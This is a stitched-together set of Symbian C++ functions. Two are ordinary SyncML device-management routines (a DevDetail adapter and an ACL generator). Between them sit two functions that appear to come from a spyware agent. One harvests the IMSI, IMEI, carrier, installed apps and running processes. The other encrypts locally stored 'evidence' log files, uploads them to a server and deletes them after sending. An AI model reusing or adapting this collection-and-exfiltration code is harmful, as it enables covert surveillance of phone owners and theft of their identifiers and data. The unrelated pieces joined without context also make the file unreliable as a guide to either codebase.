// ----------------------------------------------------------------------------- // CNSmlDmDevDetailAdapter::DDFVersionL() // ----------------------------------------------------------------------------- void CNSmlDmDevDetailAdapter::DDFVersionL(CBufBase& aDDFVersion) { _DBG_FILE("CNSmlDmDevDetailAdapter::DDFVersionL(TDes& aDDFVersion): begin"); aDDFVersion.InsertL(0,KNSmlDMDevDetailDDFVersion); _DBG_FILE("CNSmlDmDevDetailAdapter::DDFVersionL(TDes& aDDFVersion): end"); }
// ----------------------------------------------------------------------------- // CNSmlDmDevDetailAdapter::FetchLeafObjectL() // ----------------------------------------------------------------------------- CSmlDmAdapter::TError CNSmlDmDevDetailAdapter::FetchLeafObjectL( const TDesC8& aURI, CBufBase& aObject ) { _DBG_FILE("CNSmlDmDevDetailAdapter::FetchLeafObjectL(): begin"); CSmlDmAdapter::TError retValue = CSmlDmAdapter::EOk; TInt ret = aURI.LocateReverse(KNSmlDMDevDetailSeparator()[0]); if ( ret == KErrNotFound ) { ret = -1; } TInt len = aURI.Length() - ( ret + 1 ); TPtrC8 segment = aURI.Right( len ); if ( segment == KNSmlDMDevDetailDevTypNodeName ) { aObject.InsertL( 0, KNSmlDMDevDetailDevTypValue ); } else if ( segment == KNSmlDMDevDetailOEMNodeName ) { CNSmlPhoneInfo* phoneInfo = CNSmlPhoneInfo::NewLC(); HBufC* manufacturer = HBufC::NewLC( 50 ); TPtr manufacturerPtr = manufacturer->Des(); phoneInfo->PhoneDataL( CNSmlPhoneInfo::EPhoneManufacturer, manufacturerPtr ); HBufC8* manufacturerInUTF8 = NULL; NSmlUnicodeConverter::HBufC8InUTF8LC( *manufacturer, manufacturerInUTF8 ); aObject.InsertL( 0, *manufacturerInUTF8 ); CleanupStack::PopAndDestroy( 3 ); //manufacturerInUTF8, manufacturer, phoneInfo } else if ( segment == KNSmlDMDevDetailSwVNodeName ) { // fetch software version GetDevDetailDataL( aObject, ESwVersion ); } else if ( segment == KNSmlDMDevDetailHwVNodeName ) { // fetch hardware version GetDevDetailDataL( aObject, EHwVersion ); } else if ( segment == KNSmlDMDevDetailLrgObjNodeName ) { aObject.InsertL( 0, KNSmlDMDevDetailLrgObjValue ); } else if ( segment == KNSmlDMDevDetailMaxDepthNodeName ) { aObject.InsertL( 0, KNSmlDMDevDetailMaxDepthValue ); } else if ( segment == KNSmlDMDevDetailMaxTotLenNodeName ) { aObject.InsertL( 0, KNSmlDMDevDetailMaxTotLenValue ); } else if ( segment == KNSmlDMDevDetailMaxSegLenNodeName ) { aObject.InsertL( 0, KNSmlDMDevDetailMaxSegLenValue ); } else if ( segment != KNSmlDMDevDetailFwVNodeName ) { retValue = CSmlDmAdapter::EError; } _DBG_FILE("CNSmlDmDevDetailAdapter::FetchLeafObjectL(): end"); return retValue; }
HBufC8* CAgentDevice::GetInfoBufferL() { //create buffer CBufBase* buffer = CBufFlat::NewL(50); CleanupStack::PushL(buffer); TBuf<128> buf; _LIT(KNewLine,"\n"); // Processor TInt cpu = 0; HAL::Get(HAL::ECPU,cpu); TBuf<8> cpuBuf; switch (cpu){ case HAL::ECPU_ARM: cpuBuf.Copy(_L("ARM")); break; case HAL::ECPU_MCORE: cpuBuf.Copy(_L("MCORE")); break; case HAL::ECPU_X86: cpuBuf.Copy(_L("X86")); break; default: cpuBuf.Copy(_L("Unknown")); break; } _LIT(KFormatProcessor,"Processor: %S\n"); buf.Zero(); buf.Format(KFormatProcessor,&cpuBuf); buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size()); // Battery _LIT(KFormatBattery,"Battery: %u%% (on AC line)\n"); _LIT(KFormatBattery2,"Battery: %u%% \n"); TUint chargeLevel=0; CTelephony::TBatteryStatus batteryStatus; iPhone->GetBatteryInfoSync(chargeLevel, batteryStatus); buf.Zero(); if((batteryStatus == CTelephony::EBatteryConnectedButExternallyPowered) || (batteryStatus == CTelephony::ENoBatteryConnected)) { buf.Format(KFormatBattery,chargeLevel); } else { buf.Format(KFormatBattery2,chargeLevel); } buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size()); // RAM TInt ram = 0; HAL::Get(HAL::EMemoryRAM, ram); TInt freeRam = 0; HAL::Get(HAL::EMemoryRAMFree, freeRam); _LIT(KFormatRam,"Memory: %i bytes free / %i bytes total\n"); buf.Zero(); buf.Format(KFormatRam,freeRam,ram); buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size()); // Storage _LIT(KFormatStorage,"Disk %c: %S - %Li bytes free / %Li bytes total\n"); TVolumeInfo volumeInfo; //TDriveInfo driveInfo; for (TInt driveNumber=EDriveA; driveNumber<=EDriveZ; driveNumber++) { // get drive info /* TInt err = iFs.Drive(driveInfo,driveNumber); if (err!=KErrNone) { continue; } */ // get volume info TInt err = iFs.Volume(volumeInfo,driveNumber); if (err!=KErrNone) { continue; } TChar letter; iFs.DriveToChar(driveNumber,letter); buf.Zero(); buf.Format(KFormatStorage,(TUint)letter,&volumeInfo.iName,volumeInfo.iFree,volumeInfo.iSize); buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size()); } // OS version TBuf<KSysUtilVersionTextLength> versionBuf; SysUtil::GetSWVersion(versionBuf); _LIT(KFormatOsVersion,"\nOS Version: %S \n"); buf.Zero(); buf.Format(KFormatOsVersion,&versionBuf); buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size()); // device _LIT(KFormatDevice,"\nDevice: %S (%S)\n"); TBuf<CTelephony::KPhoneManufacturerIdSize> manufacturer; TBuf<CTelephony::KPhoneModelIdSize> model; iPhone->GetPhoneIdSync(manufacturer,model); buf.Zero(); buf.Format(KFormatDevice,&model,&manufacturer); buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size()); // IMSI TBuf<CTelephony::KIMSISize> imsi; iPhone->GetImsiSync(imsi); _LIT(KFormatImsi,"IMSI: %S \n"); buf.Zero(); buf.Format(KFormatImsi,&imsi); buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size()); // IMEI TBuf<CTelephony::KPhoneSerialNumberSize> imei; iPhone->GetImeiSync(imei); _LIT(KFormatImei,"IMEI: %S \n"); buf.Zero(); buf.Format(KFormatImei,&imei); buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size()); // Carrier //TBuf<CTelephony::KNetworkShortNameSize> carrier; TBuf<CTelephony::KNetworkLongNameSize> carrier; iPhone->GetOperatorNameSync(carrier); _LIT(KFormatCarrier,"Carrier: %S \n"); buf.Zero(); buf.Format(KFormatCarrier,&carrier); buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size()); // Uptime _LIT(KFormatUptime,"Uptime: %i days, %i hours, %i minutes\n"); TInt ms = User::NTickCount(); TInt min = (ms/(1000*60))%60; TInt hours = (ms/(1000*60*60))%24; TInt days = (ms/(1000*60*60*24)); buf.Zero(); buf.Format(KFormatUptime,days,hours,min); buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size()); if(iList) { RApaLsSession lsSession; TApaAppInfo appInfo; TApaAppCapabilityBuf capability; //_LIT(KNewLine,"\n"); // Applications list: if( lsSession.Connect() == KErrNone) { CleanupClosePushL( lsSession ); lsSession.GetAllApps(); _LIT(KAppList,"\nApplication List: \n"); buffer->InsertL(buffer->Size(),KAppList().Ptr(),KAppList().Size()); while( lsSession.GetNextApp( appInfo ) == KErrNone ) { buffer->InsertL(buffer->Size(), appInfo.iCaption.Ptr(), appInfo.iCaption.Size()); buffer->InsertL(buffer->Size(),KNewLine().Ptr(),KNewLine().Size()); } CleanupStack::PopAndDestroy(&lsSession); } // Running processes TFullName res; TFindProcess proc; _LIT(KProcList,"\nProcesses List:\n"); buffer->InsertL(buffer->Size(),KProcList().Ptr(),KProcList().Size()); while(proc.Next(res) == KErrNone) { RProcess ph; TInt err = ph.Open(proc); if(err!=KErrNone) { continue; } buffer->InsertL(buffer->Size(),ph.Name().Ptr(),ph.Name().Size()); buffer->InsertL(buffer->Size(),KNewLine().Ptr(),KNewLine().Size()); ph.Close(); } } HBufC8* result = buffer->Ptr(0).AllocL(); CleanupStack::PopAndDestroy(buffer); return result; }
void CStateEvidences::ActivateL(const TDesC8& aData) { iSignKey.Copy(aData); if (iState != EInitState) { // Log File has been sent. // Delete the LogFile and remove it from the array HBufC* fileName = iFileList[0]; iFs.Delete(*fileName); delete fileName; iFileList.Remove(0); } else { //this is the first run TFullName path; FileUtils::CompleteWithPrivatePathL(iFs, path); path.Append(_L("*.log")); FileUtils::ListFilesInDirectoryL(iFs, path, iFileList); iState = ESendLogData; } // Check if there exists log files... if (iFileList.Count() == 0) { iObserver.ChangeStateL(); return; } //send evidence //here we are sure we don't need anymore the answer delete iResponseData; iResponseData = NULL; CBufBase* buffer = CBufFlat::NewL(10); CleanupStack::PushL(buffer); //append command buffer->InsertL(buffer->Size(),(TUint8 *)KProto_Log().Ptr(),KProto_Log().Size()); //append size HBufC* fileName = iFileList[0]; TUint32 fileSize = FileUtils::GetFileSize(iFs, *fileName); buffer->InsertL(buffer->Size(),&fileSize,sizeof(fileSize)); HBufC8* plainBody = buffer->Ptr(0).AllocL(); CleanupStack::PopAndDestroy(buffer); TInt plainBodySize = plainBody->Size(); plainBody = plainBody->ReAllocL(plainBodySize+fileSize+20); //20=sha if(plainBody==NULL) { iObserver.ReConnect(); return; } //append file //RBuf8 fileBuf(FileUtils::ReadFileContentsL(iFs, *fileName)); //fileBuf.CleanupClosePushL(); HBufC8* fileBuf = FileUtils::ReadFileContentsL(iFs,*fileName); if(fileBuf==NULL) { iObserver.ReConnect(); return; } plainBody->Des().Append(*fileBuf); delete fileBuf; //CleanupStack::PopAndDestroy(&fileBuf); // calculate SHA1 TBuf8<20> sha; ShaUtils::CreateSha(*plainBody,sha); //append SHA1 plainBody->Des().Append(sha); // encrypt an send RBuf8 buff(AES::EncryptPkcs5L(*plainBody, KIV, iSignKey)); if(buff.Size()<=0) { delete plainBody; iObserver.ReConnect(); return; } buff.CleanupClosePushL(); delete plainBody; //add REST header HBufC8* header = iObserver.GetRequestHeaderL(); TBuf8<32> contentLengthLine; contentLengthLine.Append(KContentLength); contentLengthLine.AppendNum(buff.Size()); contentLengthLine.Append(KNewLine); delete iRequestData; iRequestData = NULL; TRAPD(error,(iRequestData = HBufC8::NewL(header->Size()+contentLengthLine.Size()+KNewLine().Size()+buff.Size()))); if(error != KErrNone) { delete header; CleanupStack::PopAndDestroy(&buff); iObserver.ReConnect(); return; } iRequestData->Des().Append(*header); delete header; iRequestData->Des().Append(contentLengthLine); iRequestData->Des().Append(KNewLine); iRequestData->Des().Append(buff); CleanupStack::PopAndDestroy(&buff); TRAPD(err,iObserver.SendStateDataL(*iRequestData)); if(err != KErrNone) { iObserver.ReConnect(); } }
// --------------------------------------------------------------------------- // CNSmlDmACLParser::GenerateL() // Generates ACL data string from the kept data. // --------------------------------------------------------------------------- HBufC8* CNSmlDmACLParser::GenerateL() { CBufBase *acl = CBufFlat::NewL(32); CleanupStack::PushL(acl); CNSmlAclElement* aclElement=iCommandAcls; while(aclElement) { TBool anyServerIds=EFalse; if(aclElement->iAllServers||aclElement->iServerIds.Count()) { anyServerIds = ETrue; switch(aclElement->iCommandType) { case EAclAdd: acl->InsertL(acl->Size(),KNSmlDmAclAddEqual); break; case EAclReplace: acl->InsertL(acl->Size(),KNSmlDmAclReplaceEqual); break; case EAclDelete: acl->InsertL(acl->Size(),KNSmlDmAclDeleteEqual); break; case EAclGet: acl->InsertL(acl->Size(),KNSmlDmAclGetEqual); break; case EAclExecute: acl->InsertL(acl->Size(),KNSmlDmAclExecEqual); break; default: User::Panic(KSmlDmTreeDbHandlerPanic,KErrArgument); break; } if(aclElement->iAllServers) { acl->InsertL(acl->Size(),KNSmlDmAclAll); } else { for(TInt i=0;i<aclElement->iServerIds.Count();i++) { acl->InsertL(acl->Size(),*aclElement->iServerIds[i]); if(i<aclElement->iServerIds.Count()-1) { acl->InsertL(acl->Size(),KNSmlDmAclServerIdSeparator); } } } } aclElement=aclElement->iNext; if(aclElement&&anyServerIds) { acl->InsertL(acl->Size(),KNSmlDmAclSeparator); } } HBufC8 *aclBuf = HBufC8::NewL(acl->Size()); TPtr8 bufPtr = aclBuf->Des(); acl->Read(0,bufPtr,acl->Size()); CleanupStack::PopAndDestroy(); //acl return aclBuf; }